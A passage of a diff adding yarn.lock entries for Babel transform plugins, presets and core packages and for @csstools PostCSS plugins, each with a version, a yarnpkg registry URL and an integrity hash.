+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-optional-catch-binding/-/plugin-transform-optional-catch-binding-7.25.9.tgz#10e70d96d52bb1f10c5caaac59ac545ea2ba7ff3"
+  integrity sha512-qM/6m6hQZzDcZF3onzIhZeDHDO43bkNNlOX0i8n3lR6zLbu0GN2d8qfM/IERJZYauhAHSLHy39NF0Ctdvcid7g==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-optional-chaining@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-optional-chaining/-/plugin-transform-optional-chaining-7.25.9.tgz#e142eb899d26ef715435f201ab6e139541eee7dd"
+  integrity sha512-6AvV0FsLULbpnXeBjrY4dmWF8F7gf8QnvTEoO/wX/5xm/xE1Xo8oPuD3MPS+KS9f9XBEAWN7X1aWr4z9HdOr7A==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-skip-transparent-expression-wrappers" "^7.25.9"
+
+"@babel/plugin-transform-parameters@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.25.9.tgz#b856842205b3e77e18b7a7a1b94958069c7ba257"
+  integrity sha512-wzz6MKwpnshBAiRmn4jR8LYz/g8Ksg0o80XmwZDlordjwEk9SxBzTWC7F5ef1jhbrbOW2DJ5J6ayRukrJmnr0g==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-private-methods@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-private-methods/-/plugin-transform-private-methods-7.25.9.tgz#847f4139263577526455d7d3223cd8bda51e3b57"
+  integrity sha512-D/JUozNpQLAPUVusvqMxyvjzllRaF8/nSrP1s2YGQT/W4LHK4xxsMcHjhOGTS01mp9Hda8nswb+FblLdJornQw==
+  dependencies:
+    "@babel/helper-create-class-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-private-property-in-object@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-private-property-in-object/-/plugin-transform-private-property-in-object-7.25.9.tgz#9c8b73e64e6cc3cbb2743633885a7dd2c385fe33"
+  integrity sha512-Evf3kcMqzXA3xfYJmZ9Pg1OvKdtqsDMSWBDzZOPLvHiTt36E75jLDQo5w1gtRU95Q4E5PDttrTf25Fw8d/uWLw==
+  dependencies:
+    "@babel/helper-annotate-as-pure" "^7.25.9"
+    "@babel/helper-create-class-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-property-literals@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.25.9.tgz#d72d588bd88b0dec8b62e36f6fda91cedfe28e3f"
+  integrity sha512-IvIUeV5KrS/VPavfSM/Iu+RE6llrHrYIKY1yfCzyO/lMXHQ+p7uGhonmGVisv6tSBSVgWzMBohTcvkC9vQcQFA==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-react-constant-elements@^7.12.1":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-constant-elements/-/plugin-transform-react-constant-elements-7.25.9.tgz#08a1de35a301929b60fdf2788a54b46cd8ecd0ef"
+  integrity sha512-Ncw2JFsJVuvfRsa2lSHiC55kETQVLSnsYGQ1JDDwkUeWGTL/8Tom8aLTnlqgoeuopWrbbGndrc9AlLYrIosrow==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-react-display-name@^7.16.0", "@babel/plugin-transform-react-display-name@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.25.9.tgz#4b79746b59efa1f38c8695065a92a9f5afb24f7d"
+  integrity sha512-KJfMlYIUxQB1CJfO3e0+h0ZHWOTLCPP115Awhaz8U0Zpq36Gl/cXlpoyMRnUWlhNUBAzldnCiAZNvCDj7CrKxQ==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-react-jsx-development@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.25.9.tgz#8fd220a77dd139c07e25225a903b8be8c829e0d7"
+  integrity sha512-9mj6rm7XVYs4mdLIpbZnHOYdpW42uoiBCTVowg7sP1thUOiANgMb4UtpRivR0pp5iL+ocvUv7X4mZgFRpJEzGw==
+  dependencies:
+    "@babel/plugin-transform-react-jsx" "^7.25.9"
+
+"@babel/plugin-transform-react-jsx@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.25.9.tgz#06367940d8325b36edff5e2b9cbe782947ca4166"
+  integrity sha512-s5XwpQYCqGerXl+Pu6VDL3x0j2d82eiV77UJ8a2mDHAW7j9SWRqQ2y1fNo1Z74CdcYipl5Z41zvjj4Nfzq36rw==
+  dependencies:
+    "@babel/helper-annotate-as-pure" "^7.25.9"
+    "@babel/helper-module-imports" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/plugin-syntax-jsx" "^7.25.9"
+    "@babel/types" "^7.25.9"
+
+"@babel/plugin-transform-react-pure-annotations@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-pure-annotations/-/plugin-transform-react-pure-annotations-7.25.9.tgz#ea1c11b2f9dbb8e2d97025f43a3b5bc47e18ae62"
+  integrity sha512-KQ/Takk3T8Qzj5TppkS1be588lkbTp5uj7w6a0LeQaTMSckU/wK0oJ/pih+T690tkgI5jfmg2TqDJvd41Sj1Cg==
+  dependencies:
+    "@babel/helper-annotate-as-pure" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-regenerator@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.25.9.tgz#03a8a4670d6cebae95305ac6defac81ece77740b"
+  integrity sha512-vwDcDNsgMPDGP0nMqzahDWE5/MLcX8sv96+wfX7as7LoF/kr97Bo/7fI00lXY4wUXYfVmwIIyG80fGZ1uvt2qg==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+    regenerator-transform "^0.15.2"
+
+"@babel/plugin-transform-regexp-modifiers@^7.26.0":
+  version "7.26.0"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-regexp-modifiers/-/plugin-transform-regexp-modifiers-7.26.0.tgz#2f5837a5b5cd3842a919d8147e9903cc7455b850"
+  integrity sha512-vN6saax7lrA2yA/Pak3sCxuD6F5InBjn9IcrIKQPjpsLvuHYLVroTxjdlVRHjjBWxKOqIwpTXDkOssYT4BFdRw==
+  dependencies:
+    "@babel/helper-create-regexp-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-reserved-words@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.25.9.tgz#0398aed2f1f10ba3f78a93db219b27ef417fb9ce"
+  integrity sha512-7DL7DKYjn5Su++4RXu8puKZm2XBPHyjWLUidaPEkCUBbE7IPcsrkRHggAOOKydH1dASWdcUBxrkOGNxUv5P3Jg==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-runtime@^7.16.4":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.25.9.tgz#62723ea3f5b31ffbe676da9d6dae17138ae580ea"
+  integrity sha512-nZp7GlEl+yULJrClz0SwHPqir3lc0zsPrDHQUcxGspSL7AKrexNSEfTbfqnDNJUO13bgKyfuOLMF8Xqtu8j3YQ==
+  dependencies:
+    "@babel/helper-module-imports" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+    babel-plugin-polyfill-corejs2 "^0.4.10"
+    babel-plugin-polyfill-corejs3 "^0.10.6"
+    babel-plugin-polyfill-regenerator "^0.6.1"
+    semver "^6.3.1"
+
+"@babel/plugin-transform-shorthand-properties@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.25.9.tgz#bb785e6091f99f826a95f9894fc16fde61c163f2"
+  integrity sha512-MUv6t0FhO5qHnS/W8XCbHmiRWOphNufpE1IVxhK5kuN3Td9FT1x4rx4K42s3RYdMXCXpfWkGSbCSd0Z64xA7Ng==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-spread@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-spread/-/plugin-transform-spread-7.25.9.tgz#24a35153931b4ba3d13cec4a7748c21ab5514ef9"
+  integrity sha512-oNknIB0TbURU5pqJFVbOOFspVlrpVwo2H1+HUIsVDvp5VauGGDP1ZEvO8Nn5xyMEs3dakajOxlmkNW7kNgSm6A==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-skip-transparent-expression-wrappers" "^7.25.9"
+
+"@babel/plugin-transform-sticky-regex@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.25.9.tgz#c7f02b944e986a417817b20ba2c504dfc1453d32"
+  integrity sha512-WqBUSgeVwucYDP9U/xNRQam7xV8W5Zf+6Eo7T2SRVUFlhRiMNFdFz58u0KZmCVVqs2i7SHgpRnAhzRNmKfi2uA==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-template-literals@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.25.9.tgz#6dbd4a24e8fad024df76d1fac6a03cf413f60fe1"
+  integrity sha512-o97AE4syN71M/lxrCtQByzphAdlYluKPDBzDVzMmfCobUjjhAryZV0AIpRPrxN0eAkxXO6ZLEScmt+PNhj2OTw==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-typeof-symbol@^7.26.7":
+  version "7.26.7"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.26.7.tgz#d0e33acd9223744c1e857dbd6fa17bd0a3786937"
+  integrity sha512-jfoTXXZTgGg36BmhqT3cAYK5qkmqvJpvNrPhaK/52Vgjhw4Rq29s9UqpWWV0D6yuRmgiFH/BUVlkl96zJWqnaw==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.26.5"
+
+"@babel/plugin-transform-typescript@^7.25.9":
+  version "7.26.7"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-typescript/-/plugin-transform-typescript-7.26.7.tgz#64339515ea3eff610160f62499c3ef437d0ac83d"
+  integrity sha512-5cJurntg+AT+cgelGP9Bt788DKiAw9gIMSMU2NJrLAilnj0m8WZWUNZPSLOmadYsujHutpgElO+50foX+ib/Wg==
+  dependencies:
+    "@babel/helper-annotate-as-pure" "^7.25.9"
+    "@babel/helper-create-class-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.26.5"
+    "@babel/helper-skip-transparent-expression-wrappers" "^7.25.9"
+    "@babel/plugin-syntax-typescript" "^7.25.9"
+
+"@babel/plugin-transform-unicode-escapes@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.25.9.tgz#a75ef3947ce15363fccaa38e2dd9bc70b2788b82"
+  integrity sha512-s5EDrE6bW97LtxOcGj1Khcx5AaXwiMmi4toFWRDP9/y0Woo6pXC+iyPu/KuhKtfSrNFd7jJB+/fkOtZy6aIC6Q==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-unicode-property-regex@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-unicode-property-regex/-/plugin-transform-unicode-property-regex-7.25.9.tgz#a901e96f2c1d071b0d1bb5dc0d3c880ce8f53dd3"
+  integrity sha512-Jt2d8Ga+QwRluxRQ307Vlxa6dMrYEMZCgGxoPR8V52rxPyldHu3hdlHspxaqYmE7oID5+kB+UKUB/eWS+DkkWg==
+  dependencies:
+    "@babel/helper-create-regexp-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-unicode-regex@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.25.9.tgz#5eae747fe39eacf13a8bd006a4fb0b5d1fa5e9b1"
+  integrity sha512-yoxstj7Rg9dlNn9UQxzk4fcNivwv4nUYz7fYXBaKxvw/lnmPuOm/ikoELygbYq68Bls3D/D+NBPHiLwZdZZ4HA==
+  dependencies:
+    "@babel/helper-create-regexp-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-unicode-sets-regex@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-unicode-sets-regex/-/plugin-transform-unicode-sets-regex-7.25.9.tgz#65114c17b4ffc20fa5b163c63c70c0d25621fabe"
+  integrity sha512-8BYqO3GeVNHtx69fdPshN3fnzUNLrWdHhk/icSwigksJGczKSizZ+Z6SBCxTs723Fr5VSNorTIK7a+R2tISvwQ==
+  dependencies:
+    "@babel/helper-create-regexp-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/preset-env@^7.11.0", "@babel/preset-env@^7.12.1", "@babel/preset-env@^7.16.4":
+  version "7.26.7"
+  resolved "https://registry.yarnpkg.com/@babel/preset-env/-/preset-env-7.26.7.tgz#24d38e211f4570b8d806337035cc3ae798e0c36d"
+  integrity sha512-Ycg2tnXwixaXOVb29rana8HNPgLVBof8qqtNQ9LE22IoyZboQbGSxI6ZySMdW3K5nAe6gu35IaJefUJflhUFTQ==
+  dependencies:
+    "@babel/compat-data" "^7.26.5"
+    "@babel/helper-compilation-targets" "^7.26.5"
+    "@babel/helper-plugin-utils" "^7.26.5"
+    "@babel/helper-validator-option" "^7.25.9"
+    "@babel/plugin-bugfix-firefox-class-in-computed-class-key" "^7.25.9"
+    "@babel/plugin-bugfix-safari-class-field-initializer-scope" "^7.25.9"
+    "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression" "^7.25.9"
+    "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining" "^7.25.9"
+    "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly" "^7.25.9"
+    "@babel/plugin-proposal-private-property-in-object" "7.21.0-placeholder-for-preset-env.2"
+    "@babel/plugin-syntax-import-assertions" "^7.26.0"
+    "@babel/plugin-syntax-import-attributes" "^7.26.0"
+    "@babel/plugin-syntax-unicode-sets-regex" "^7.18.6"
+    "@babel/plugin-transform-arrow-functions" "^7.25.9"
+    "@babel/plugin-transform-async-generator-functions" "^7.25.9"
+    "@babel/plugin-transform-async-to-generator" "^7.25.9"
+    "@babel/plugin-transform-block-scoped-functions" "^7.26.5"
+    "@babel/plugin-transform-block-scoping" "^7.25.9"
+    "@babel/plugin-transform-class-properties" "^7.25.9"
+    "@babel/plugin-transform-class-static-block" "^7.26.0"
+    "@babel/plugin-transform-classes" "^7.25.9"
+    "@babel/plugin-transform-computed-properties" "^7.25.9"
+    "@babel/plugin-transform-destructuring" "^7.25.9"
+    "@babel/plugin-transform-dotall-regex" "^7.25.9"
+    "@babel/plugin-transform-duplicate-keys" "^7.25.9"
+    "@babel/plugin-transform-duplicate-named-capturing-groups-regex" "^7.25.9"
+    "@babel/plugin-transform-dynamic-import" "^7.25.9"
+    "@babel/plugin-transform-exponentiation-operator" "^7.26.3"
+    "@babel/plugin-transform-export-namespace-from" "^7.25.9"
+    "@babel/plugin-transform-for-of" "^7.25.9"
+    "@babel/plugin-transform-function-name" "^7.25.9"
+    "@babel/plugin-transform-json-strings" "^7.25.9"
+    "@babel/plugin-transform-literals" "^7.25.9"
+    "@babel/plugin-transform-logical-assignment-operators" "^7.25.9"
+    "@babel/plugin-transform-member-expression-literals" "^7.25.9"
+    "@babel/plugin-transform-modules-amd" "^7.25.9"
+    "@babel/plugin-transform-modules-commonjs" "^7.26.3"
+    "@babel/plugin-transform-modules-systemjs" "^7.25.9"
+    "@babel/plugin-transform-modules-umd" "^7.25.9"
+    "@babel/plugin-transform-named-capturing-groups-regex" "^7.25.9"
+    "@babel/plugin-transform-new-target" "^7.25.9"
+    "@babel/plugin-transform-nullish-coalescing-operator" "^7.26.6"
+    "@babel/plugin-transform-numeric-separator" "^7.25.9"
+    "@babel/plugin-transform-object-rest-spread" "^7.25.9"
+    "@babel/plugin-transform-object-super" "^7.25.9"
+    "@babel/plugin-transform-optional-catch-binding" "^7.25.9"
+    "@babel/plugin-transform-optional-chaining" "^7.25.9"
+    "@babel/plugin-transform-parameters" "^7.25.9"
+    "@babel/plugin-transform-private-methods" "^7.25.9"
+    "@babel/plugin-transform-private-property-in-object" "^7.25.9"
+    "@babel/plugin-transform-property-literals" "^7.25.9"
+    "@babel/plugin-transform-regenerator" "^7.25.9"
+    "@babel/plugin-transform-regexp-modifiers" "^7.26.0"
+    "@babel/plugin-transform-reserved-words" "^7.25.9"
+    "@babel/plugin-transform-shorthand-properties" "^7.25.9"
+    "@babel/plugin-transform-spread" "^7.25.9"
+    "@babel/plugin-transform-sticky-regex" "^7.25.9"
+    "@babel/plugin-transform-template-literals" "^7.25.9"
+    "@babel/plugin-transform-typeof-symbol" "^7.26.7"
+    "@babel/plugin-transform-unicode-escapes" "^7.25.9"
+    "@babel/plugin-transform-unicode-property-regex" "^7.25.9"
+    "@babel/plugin-transform-unicode-regex" "^7.25.9"
+    "@babel/plugin-transform-unicode-sets-regex" "^7.25.9"
+    "@babel/preset-modules" "0.1.6-no-external-plugins"
+    babel-plugin-polyfill-corejs2 "^0.4.10"
+    babel-plugin-polyfill-corejs3 "^0.10.6"
+    babel-plugin-polyfill-regenerator "^0.6.1"
+    core-js-compat "^3.38.1"
+    semver "^6.3.1"
+
+"@babel/preset-modules@0.1.6-no-external-plugins":
+  version "0.1.6-no-external-plugins"
+  resolved "https://registry.yarnpkg.com/@babel/preset-modules/-/preset-modules-0.1.6-no-external-plugins.tgz#ccb88a2c49c817236861fee7826080573b8a923a"
+  integrity sha512-HrcgcIESLm9aIR842yhJ5RWan/gebQUJ6E/E5+rf0y9o6oj7w0Br+sWuL6kEQ/o/AdfvR1Je9jG18/gnpwjEyA==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.0.0"
+    "@babel/types" "^7.4.4"
+    esutils "^2.0.2"
+
+"@babel/preset-react@^7.12.5", "@babel/preset-react@^7.16.0":
+  version "7.26.3"
+  resolved "https://registry.yarnpkg.com/@babel/preset-react/-/preset-react-7.26.3.tgz#7c5e028d623b4683c1f83a0bd4713b9100560caa"
+  integrity sha512-Nl03d6T9ky516DGK2YMxrTqvnpUW63TnJMOMonj+Zae0JiPC5BC9xPMSL6L8fiSpA5vP88qfygavVQvnLp+6Cw==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-validator-option" "^7.25.9"
+    "@babel/plugin-transform-react-display-name" "^7.25.9"
+    "@babel/plugin-transform-react-jsx" "^7.25.9"
+    "@babel/plugin-transform-react-jsx-development" "^7.25.9"
+    "@babel/plugin-transform-react-pure-annotations" "^7.25.9"
+
+"@babel/preset-typescript@^7.16.0":
+  version "7.26.0"
+  resolved "https://registry.yarnpkg.com/@babel/preset-typescript/-/preset-typescript-7.26.0.tgz#4a570f1b8d104a242d923957ffa1eaff142a106d"
+  integrity sha512-NMk1IGZ5I/oHhoXEElcm+xUnL/szL6xflkFZmoEU9xj1qSJXpiS7rsspYo92B4DRCDvZn2erT5LdsCeXAKNCkg==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-validator-option" "^7.25.9"
+    "@babel/plugin-syntax-jsx" "^7.25.9"
+    "@babel/plugin-transform-modules-commonjs" "^7.25.9"
+    "@babel/plugin-transform-typescript" "^7.25.9"
+
+"@babel/runtime@^7.11.2", "@babel/runtime@^7.12.5", "@babel/runtime@^7.16.3", "@babel/runtime@^7.8.4":
+  version "7.26.7"
+  resolved "https://registry.yarnpkg.com/@babel/runtime/-/runtime-7.26.7.tgz#f4e7fe527cd710f8dc0618610b61b4b060c3c341"
+  integrity sha512-AOPI3D+a8dXnja+iwsUqGRjr1BbZIe771sXdapOtYI531gSqpi92vXivKcq2asu/DFpdl1ceFAKZyRzK2PCVcQ==
+  dependencies:
+    regenerator-runtime "^0.14.0"
+
+"@babel/template@^7.25.9", "@babel/template@^7.3.3":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/template/-/template-7.25.9.tgz#ecb62d81a8a6f5dc5fe8abfc3901fc52ddf15016"
+  integrity sha512-9DGttpmPvIxBb/2uwpVo3dqJ+O6RooAFOS+lB+xDqoE2PVCE8nfoHMdZLpfCQRLwvohzXISPZcgxt80xLfsuwg==
+  dependencies:
+    "@babel/code-frame" "^7.25.9"
+    "@babel/parser" "^7.25.9"
+    "@babel/types" "^7.25.9"
+
+"@babel/traverse@^7.25.9", "@babel/traverse@^7.26.5", "@babel/traverse@^7.26.7", "@babel/traverse@^7.7.2":
+  version "7.26.7"
+  resolved "https://registry.yarnpkg.com/@babel/traverse/-/traverse-7.26.7.tgz#99a0a136f6a75e7fb8b0a1ace421e0b25994b8bb"
+  integrity sha512-1x1sgeyRLC3r5fQOM0/xtQKsYjyxmFjaOrLJNtZ81inNjyJHGIolTULPiSc/2qe1/qfpFLisLQYFnnZl7QoedA==
+  dependencies:
+    "@babel/code-frame" "^7.26.2"
+    "@babel/generator" "^7.26.5"
+    "@babel/parser" "^7.26.7"
+    "@babel/template" "^7.25.9"
+    "@babel/types" "^7.26.7"
+    debug "^4.3.1"
+    globals "^11.1.0"
+
+"@babel/types@^7.0.0", "@babel/types@^7.12.6", "@babel/types@^7.20.7", "@babel/types@^7.25.9", "@babel/types@^7.26.5", "@babel/types@^7.26.7", "@babel/types@^7.3.3", "@babel/types@^7.4.4":
+  version "7.26.7"
+  resolved "https://registry.yarnpkg.com/@babel/types/-/types-7.26.7.tgz#5e2b89c0768e874d4d061961f3a5a153d71dc17a"
+  integrity sha512-t8kDRGrKXyp6+tjUh7hw2RLyclsW4TRoRvRHtSyAX9Bb5ldlFh+90YAYY6awRXrlB4G5G2izNeGySpATlFzmOg==
+  dependencies:
+    "@babel/helper-string-parser" "^7.25.9"
+    "@babel/helper-validator-identifier" "^7.25.9"
+
+"@bcoe/v8-coverage@^0.2.3":
+  version "0.2.3"
+  resolved "https://registry.yarnpkg.com/@bcoe/v8-coverage/-/v8-coverage-0.2.3.tgz#75a2e8b51cb758a7553d6804a5932d7aace75c39"
+  integrity sha512-0hYQ8SB4Db5zvZB4axdMHGwEaQjkZzFjQiN9LVYvIFB2nSUHW9tYpxWriPrWDASIxiaXax83REcLxuSdnGPZtw==
+
+"@csstools/normalize.css@*":
+  version "12.1.1"
+  resolved "https://registry.yarnpkg.com/@csstools/normalize.css/-/normalize.css-12.1.1.tgz#f0ad221b7280f3fc814689786fd9ee092776ef8f"
+  integrity sha512-YAYeJ+Xqh7fUou1d1j9XHl44BmsuThiTr4iNrgCQ3J27IbhXsxXDGZ1cXv8Qvs99d4rBbLiSKy3+WZiet32PcQ==
+
+"@csstools/postcss-cascade-layers@^1.1.1":
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/@csstools/postcss-cascade-layers/-/postcss-cascade-layers-1.1.1.tgz#8a997edf97d34071dd2e37ea6022447dd9e795ad"
+  integrity sha512-+KdYrpKC5TgomQr2DlZF4lDEpHcoxnj5IGddYYfBWJAKfj1JtuHUIqMa+E1pJJ+z3kvDViWMqyqPlG4Ja7amQA==
+  dependencies:
+    "@csstools/selector-specificity" "^2.0.2"
+    postcss-selector-parser "^6.0.10"
+
+"@csstools/postcss-color-function@^1.1.1":
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/@csstools/postcss-color-function/-/postcss-color-function-1.1.1.tgz#2bd36ab34f82d0497cfacdc9b18d34b5e6f64b6b"
+  integrity sha512-Bc0f62WmHdtRDjf5f3e2STwRAl89N2CLb+9iAwzrv4L2hncrbDwnQD9PCq0gtAt7pOI2leIV08HIBUd4jxD8cw==
+  dependencies:
+    "@csstools/postcss-progressive-custom-properties" "^1.1.0"
+    postcss-value-parser "^4.2.0"
+
+"@csstools/postcss-font-format-keywords@^1.0.1":
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/@csstools/postcss-font-format-keywords/-/postcss-font-format-keywords-1.0.1.tgz#677b34e9e88ae997a67283311657973150e8b16a"
+  integrity sha512-ZgrlzuUAjXIOc2JueK0X5sZDjCtgimVp/O5CEqTcs5ShWBa6smhWYbS0x5cVc/+rycTDbjjzoP0KTDnUneZGOg==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+"@csstools/postcss-hwb-function@^1.0.2":
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/@csstools/postcss-hwb-function/-/postcss-hwb-function-1.0.2.tgz#ab54a9fce0ac102c754854769962f2422ae8aa8b"
+  integrity sha512-YHdEru4o3Rsbjmu6vHy4UKOXZD+Rn2zmkAmLRfPet6+Jz4Ojw8cbWxe1n42VaXQhD3CQUXXTooIy8OkVbUcL+w==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+"@csstools/postcss-ic-unit@^1.0.1":
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/@csstools/postcss-ic-unit/-/postcss-ic-unit-1.0.1.tgz#28237d812a124d1a16a5acc5c3832b040b303e58"
+  integrity sha512-Ot1rcwRAaRHNKC9tAqoqNZhjdYBzKk1POgWfhN4uCOE47ebGcLRqXjKkApVDpjifL6u2/55ekkpnFcp+s/OZUw==
+  dependencies:
+    "@csstools/postcss-progressive-custom-properties" "^1.1.0"
+    postcss-value-parser "^4.2.0"
+
+"@csstools/postcss-is-pseudo-class@^2.0.7":
+  version "2.0.7"
+  resolved "https://registry.yarnpkg.com/@csstools/postcss-is-pseudo-class/-/postcss-is-pseudo-class-2.0.7.tgz#846ae6c0d5a1eaa878fce352c544f9c295509cd1"
+  integrity sha512-7JPeVVZHd+jxYdULl87lvjgvWldYu+Bc62s9vD/ED6/QTGjy0jy0US/f6BG53sVMTBJ1lzKZFpYmofBN9eaRiA==
+  dependencies:
+    "@csstools/selector-specificity" "^2.0.0"
+    postcss-selector-parser "^6.0.10"
+
+"@csstools/postcss-nested-calc@^1.0.0":
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/@csstools/postcss-nested-calc/-/postcss-nested-calc-1.0.0.tgz#d7e9d1d0d3d15cf5ac891b16028af2a1044d0c26"
+  integrity sha512-JCsQsw1wjYwv1bJmgjKSoZNvf7R6+wuHDAbi5f/7MbFhl2d/+v+TvBTU4BJH3G1X1H87dHl0mh6TfYogbT/dJQ==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+"@csstools/postcss-normalize-display-values@^1.0.1":
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/@csstools/postcss-normalize-display-values/-/postcss-normalize-display-values-1.0.1.tgz#15da54a36e867b3ac5163ee12c1d7f82d4d612c3"
+  integrity sha512-jcOanIbv55OFKQ3sYeFD/T0Ti7AMXc9nM1hZWu8m/2722gOTxFg7xYu4RDLJLeZmPUVQlGzo4jhzvTUq3x4ZUw==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+"@csstools/postcss-oklab-function@^1.1.1":
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/@csstools/postcss-oklab-function/-/postcss-oklab-function-1.1.1.tgz#88cee0fbc8d6df27079ebd2fa016ee261eecf844"
+  integrity sha512-nJpJgsdA3dA9y5pgyb/UfEzE7W5Ka7u0CX0/HIMVBNWzWemdcTH3XwANECU6anWv/ao4vVNLTMxhiPNZsTK6iA==
+  dependencies:
+    "@csstools/postcss-progressive-custom-properties" "^1.1.0"
+    postcss-value-parser "^4.2.0"
+
+"@csstools/postcss-progressive-custom-properties@^1.1.0", "@csstools/postcss-progressive-custom-properties@^1.3.0":
+  version "1.3.0"
+  resolved "https://registry.yarnpkg.com/@csstools/postcss-progressive-custom-properties/-/postcss-progressive-custom-properties-1.3.0.tgz#542292558384361776b45c85226b9a3a34f276fa"
+  integrity sha512-ASA9W1aIy5ygskZYuWams4BzafD12ULvSypmaLJT2jvQ8G0M3I8PRQhC0h7mG0Z3LI05+agZjqSR9+K9yaQQjA==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+"@csstools/postcss-stepped-value-functions@^1.0.1":
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/@csstools/postcss-stepped-value-functions/-/postcss-stepped-value-functions-1.0.1.tgz#f8772c3681cc2befed695e2b0b1d68e22f08c4f4"
